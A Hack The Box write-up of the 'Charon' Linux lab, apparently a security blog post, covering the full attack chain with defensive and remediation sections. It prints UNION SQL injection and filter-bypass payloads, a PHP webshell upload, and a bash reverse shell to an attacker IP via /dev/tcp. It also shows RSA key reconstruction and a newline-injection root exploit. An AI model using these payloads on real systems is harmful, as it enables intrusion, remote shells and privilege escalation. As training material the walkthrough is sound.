Skip to content
Back to all posts

HTB: Charon

· 25 min hard Linux Charon

A multi-stage Linux box requiring two SQL injection points, a case-sensitive keyword filter bypass, a hidden base64 upload field, RSA key factorisation, and a SUID binary with a newline injection to reach root.

Overview

Charon is a hard-rated Linux box running Ubuntu 16.04 with a “Frozen Yogurt Shop” web application backed by MySQL. The attack chain spans five distinct phases, each requiring a different skill: UNION-based SQL injection on the blog, a second SQL injection on a CMS password reset form with keyword filter bypass, file upload abuse via a hidden base64-encoded form field, RSA private key reconstruction from a trivially small 256-bit public key, and command injection through a SUID binary that fails to filter newline characters.

This box rewards patience and methodical enumeration. Each phase builds on the previous one, and there are no shortcuts. The RSA factorisation step is particularly instructive: it demonstrates why key size matters and why 256-bit RSA is equivalent to no encryption at all.

Reconnaissance

I start with a standard service scan:

nmap -sC -sV -oA scans/charon 10.129.12.221
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2Ubuntu 16.04
80HTTPApache 2.4.18Frozen Yogurt Shop

Two services, both consistent with Ubuntu 16.04. OpenSSH 7.2p2 maps specifically to Xenial. The attack surface is the web application; SSH with no credentials is a dead end.

Web Application

The site is a static-looking template for a frozen yoghurt shop. Browsing through it, the URL singlepost.php?id= immediately stands out as a SQL injection candidate: a numeric parameter selecting content from a database.

I run ffuf against the web root to find hidden directories:

ffuf -u http://10.129.12.221/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

This reveals /cmsdata/ containing login.php, forgot.php, upload.php, and menu.php. A second web application behind the main site, with its own authentication and file upload functionality.

Attack Surface Analysis

Blog SQL injection (singlepost.php)

The id parameter accepts numeric input and is vulnerable to UNION-based injection. I enumerate columns by incrementing the column count until the error disappears:

singlepost.php?id=0 UNION SELECT 1,2,3,4,'test'

Five columns, with column 5 reflected in an <h1> tag. I use this injection point to extract database metadata:

singlepost.php?id=0 UNION SELECT 1,2,3,4,database()
# freeeze

singlepost.php?id=0 UNION SELECT 1,2,3,4,current_user()
# freeeze@localhost

singlepost.php?id=0 UNION SELECT 1,2,3,4,@@secure_file_priv
# /var/lib/mysql-files/

The FILE privilege is not granted, and secure_file_priv restricts file operations to /var/lib/mysql-files/. This blocks any INTO OUTFILE approach to write a webshell via SQL. The injection is useful for information gathering but cannot directly deliver code execution.

I also enumerate the supercms database (visible via information_schema.schemata), which tells me the CMS backend uses a separate schema. The supercms.operators table contains admin credentials, but I need the CMS injection to extract them cleanly.

CMS forgot.php SQL injection

The /cmsdata/forgot.php endpoint accepts an email address and queries the supercms.operators table. A single quote in the email field triggers a MySQL error, confirming unescaped input reaching the query. Two obstacles stand between me and exploitation:

  1. The input requires email format validation (must contain @ and a domain).
  2. The keyword union select (lowercase) is filtered and rejected.

I bypass both simultaneously. Appending -- @charon.htb satisfies the email format check (the @ is present), while the SQL comment (--) prevents the domain suffix from reaching the query parser. Mixed case (UnIoN SeLeCt) bypasses the case-sensitive keyword filter, because SQL keywords are case-insensitive by specification:

' UnIoN SeLeCt 1,2,3,4-- @charon.htb

The query has 4 columns. Column 2 is reflected in the “Email sent to:” response message, giving me a data exfiltration channel. I extract the operator credentials:

' UnIoN SeLeCt 1,CONCAT(username,0x3a,password),3,4 FROM supercms.operators-- @charon.htb
super_cms_adm : 0b0689ba94f94533400f4decd87fa260

The MD5 hash cracks instantly with crackstation.net: tamarro. No salting, no key stretching. MD5 for password storage was considered broken well before 2016.

Vulnerability Analysis

The application has two distinct SQL injection vulnerabilities, each in a different codebase (blog vs CMS). Both share the same root cause: string concatenation of user input into SQL queries without parameterisation. The blog uses the freeeze database user; the CMS uses supercms. Separate credentials, identical vulnerability class.

The CMS injection is more interesting because of its filter bypass requirements. The keyword filter checks for the exact lowercase string union select. This is CWE-178 (Improper Handling of Case) layered on top of CWE-89: the developer recognised the SQL injection risk and attempted mitigation, but the mitigation itself is flawed. A case-sensitive check against a case-insensitive language provides zero protection. Mixed case is only one bypass; URL encoding, inline comments (UN/**/ION), and double encoding would also defeat this filter.

AttributeBlog SQLiCMS SQLi
CWECWE-89 (SQL Injection)CWE-89 + CWE-178 (Case Handling)
TypeUNION-basedUNION-based with filter bypass
ImpactDatabase read (no FILE privilege)CMS credential extraction
PrerequisiteNoneNone

Exploitation

Phase 1: CMS admin access

With the cracked credentials (super_cms_adm:tamarro), I log into the CMS at /cmsdata/login.php. The dashboard is minimal: a menu editor and an upload form at upload.php.

Phase 2: file upload bypass

The upload form accepts image files. Standard upload attempts with .php extensions are rejected. Inspecting the form HTML reveals a hidden input field with a base64-encoded name: dGVzdGZpbGUx, which decodes to testfile1. This field is not visible in the rendered form but is submitted with every upload request.

The server-side logic uses this hidden field to determine the output filename. Setting its value to shell.php causes the server to save the uploaded content with a .php extension, completely bypassing the extension validation applied to the standard file input. The validation checks the wrong field.

I craft a PHP webshell with a GIF magic byte header to bypass any content-type validation:

GIF89a<?php echo system($_GET["c"]); ?>

The GIF89a prefix satisfies finfo_file() and similar magic-byte checks, which only inspect the first few bytes. The PHP interpreter ignores everything before the <?php tag.

curl -X POST http://10.129.12.221/cmsdata/upload.php \
    -b "PHPSESSID=<session>" \
    -F "[email protected];type=image/gif" \
    -F "dGVzdGZpbGUx=shell.php"

The shell lands at /images/shell.php:

curl "http://10.129.12.221/images/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data. I upgrade to a proper reverse shell:

curl "http://10.129.12.221/images/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.X/9001+0>%261'"

Phase 3: user credentials via RSA factorisation

Enumerating the filesystem as www-data, I find two files in /home/decoder/: decoder.pub (an RSA public key) and pass.crypt (32 bytes of encrypted data). Both are world-readable.

Extracting the public key modulus:

openssl rsa -pubin -in decoder.pub -text -noout

The key is only 256 bits. For context, NIST SP 800-57 recommends a minimum of 2048 bits. A 256-bit RSA modulus can be factored in milliseconds on commodity hardware. The General Number Field Sieve, the fastest known algorithm for factoring large integers, handles numbers of this size trivially. Even trial division would work within seconds.

I submit the modulus to factordb.com (or use msieve locally):

n = 85161183100445121230463008656121855194098040675901982832345153586114585729131
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049

With p and q known, I reconstruct the private key. The standard RSA relationship holds: d = e^(-1) mod (p-1)(q-1), where e = 65537 (the standard public exponent).

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

key = RSA.construct((n, e, d, p, q))
with open("decoder.key", "wb") as f:
    f.write(key.export_key())

Decrypting pass.crypt with the reconstructed private key (PKCS#1 v1.5 padding):

from Crypto.Cipher import PKCS1_v1_5

with open("decoder.key", "rb") as f:
    key = RSA.import_key(f.read())
with open("pass.crypt", "rb") as f:
    ct = f.read()

cipher = PKCS1_v1_5.new(key)
pt = cipher.decrypt(ct, sentinel=b"FAIL")
print(pt.decode())
# nevermindthebollocks

SSH as decoder:

ssh [email protected]
# Password: nevermindthebollocks

User flag obtained.

Phase 4: privilege escalation via SUID binary newline injection

I search for SUID binaries:

find / -perm -4000 -type f 2>/dev/null

A non-standard binary exists at /usr/local/bin/supershell, owned by root:freeeze with permissions rwsr-x---. The decoder user is in the freeeze group, so I can execute it. The restricted group permissions mean this binary is intentionally scoped to specific users.

I analyse the binary’s behaviour with ltrace:

ltrace /usr/local/bin/supershell "test"

The validation logic follows three steps:

  1. strcspn checks input against a character blacklist: |, backtick, &, >, <, ', ", \, [, ], {, }, ;, #
  2. strncmp verifies the first 7 characters match /bin/ls
  3. If both checks pass, the input is passed to system()

The developer accounted for 14 shell metacharacters but missed the newline character (\n, 0x0a). When system() receives a string containing a newline, it passes it to /bin/sh -c, which interprets the newline as a command separator. This is functionally identical to a semicolon.

I cannot type a literal newline on the command line easily, so I use printf to construct the payload:

/usr/local/bin/supershell "$(printf '/bin/ls\ncat /root/root.txt')"

The system() call executes both commands sequentially as root: first /bin/ls (which satisfies the prefix check and produces harmless output), then cat /root/root.txt.

Root flag obtained.

Post-Exploitation

The web application uses two separate MySQL accounts:

  • Blog: freeeze:fr2424z
  • CMS: supercms:sx2424

Both share a similar password pattern (xx2424x), suggesting a single administrator who reuses password templates. In a production environment, these credentials would warrant immediate rotation and a broader credential audit across the organisation.

The web root is at /var/www/html/freeeze/ rather than the default /var/www/html/, which explains why the blog and CMS share the same virtual host but use different database backends. The CMS is a custom PHP application with no framework, which accounts for the manual SQL query construction throughout.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190WAF with SQL injection signatures; parameterised queries
Credential AccessT1552.001File integrity monitoring on RSA key material
ExecutionT1059.004auditd on shell spawns from Apache processes
PersistenceT1078.003SSH authentication monitoring for decoder account
Privilege EscalationT1068SUID binary audit; input validation review

The SQL injection filter on forgot.php is a cautionary tale about blocklist-based security. The filter checks for the exact lowercase string union select and nothing else. A WAF operating at the same level would catch this trivially with case-insensitive pattern matching, but the real fix is parameterised queries, which render the filter unnecessary entirely.

The upload vulnerability is harder to detect at the network level because the request appears to be a normal image upload. Detection here requires application-level controls: validating the output filename server-side regardless of client-supplied parameters, and storing uploads outside the web root.

Remediation

PriorityActionEffortImpact
P0Use parameterised queries for all SQL statementsMediumCritical
P0Remove the hidden base64 upload field; validate server-side onlyLowCritical
P0Replace the supershell binary with a sudoers entry for /bin/lsLowCritical
P1Replace 256-bit RSA keys with 2048-bit minimumLowHigh
P1Audit all SUID binaries on the systemMediumHigh
P1Rotate all database and SSH credentialsLowHigh
P2Store uploads outside the web root; serve via a separate domainMediumMedium
P2Remove the case-sensitive SQL keyword filterLowLow
P3Upgrade Ubuntu 16.04 to a supported releaseHighMedium

The SUID binary’s input validation is a textbook example of the denylist problem. The developer thought of 14 dangerous characters but missed newline. Denylists are inherently incomplete because they require anticipating every dangerous input. The correct approach is an allowlist: permit only characters known safe for the intended use case. /bin/ls arguments need only alphanumerics, forward slash, hyphen, dot, and space. Better still, replace the SUID binary entirely: a sudoers rule granting decoder passwordless access to /bin/ls achieves the same functionality without custom code.

The P0 on the upload form deserves emphasis. The hidden field design suggests the developer intended it as a testing mechanism or backdoor. Regardless of intent, any upload endpoint where the client controls the output filename is a remote code execution vulnerability. Server-side upload handling should generate filenames independently, strip all extensions, and store files outside the document root.

Key Takeaways

  1. Case-sensitive security filters are not security filters. SQL is case-insensitive by specification. A filter that blocks union select but allows UnIoN SeLeCt provides zero protection. This same principle applies to XSS filters, path traversal checks, and any other string-matching security control. If you must filter (and you usually should not, because the correct fix is parameterised queries or contextual output encoding), match case-insensitively at minimum.

  2. 256-bit RSA is not encryption. Modern integer factorisation algorithms can decompose a 256-bit semiprime in milliseconds. NIST SP 800-57 sets the floor at 2048 bits. Keys below 1024 bits have been practically factorable since the early 2000s. The presence of a 256-bit key on this box is artificial, but I have encountered 512-bit and 1024-bit keys in production environments during assessments.

  3. Newline is a command separator. When system() is called with user-controlled input, newline characters function identically to semicolons. Input validation for shell commands must account for \n, \r, \0, and all other control characters. The broader lesson: if you are building a denylist of dangerous characters for shell input, you have already lost. Use execve() with an argument array instead of system(), which invokes /bin/sh and inherits all of its parsing behaviour.

  4. Hidden form fields are not access controls. The base64-encoded field name in the upload form is security through obscurity. Any attacker who views the page source and decodes the base64 value gains full control over the upload path. Server-side validation that cannot be influenced by client-supplied parameters is the only reliable approach.